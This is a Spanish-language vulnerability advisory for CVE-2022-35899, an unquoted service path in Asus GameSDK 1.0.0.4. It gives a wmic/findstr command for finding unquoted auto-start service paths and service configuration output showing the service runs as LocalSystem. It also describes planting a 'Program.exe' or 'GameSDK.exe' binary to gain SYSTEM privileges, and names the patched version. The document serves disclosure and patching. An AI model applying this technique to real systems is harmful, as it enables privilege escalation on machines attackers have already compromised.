CVE-2022-35899

Ruta de servicio sin comillas de Asus GameSDK

Título del exploit: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Ruta de servicio sin comillas (Escalada de privilegios)

Fecha: 14/07/2022

Autor del exploit: Angelo Pio Amirante

Versión: 1.0.0.4

Probado en: Windows 10

Versión parcheada: 1.0.5.0

Paso para descubrir la ruta de servicio sin comillas:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Información del servicio:

C:\>sc qc "GameSDK Service"

[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : GameSDK Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem

Exploit

Si un atacante ya ha comprometido el sistema y el usuario actual tiene privilegios para escribir en la carpeta "C:\Program Files (x86)\ASUS" o en "C:", podría colocar su propio archivo "Program.exe" o "GameSDK.exe" respectivamente, y cuando el servicio se inicie, lanzaría el archivo malicioso en lugar del original "GameSDK.exe".

Impacto

Un atacante puede elevar sus privilegios en el sistema.

Video POC

https://youtu.be/u_8JMIgn-5g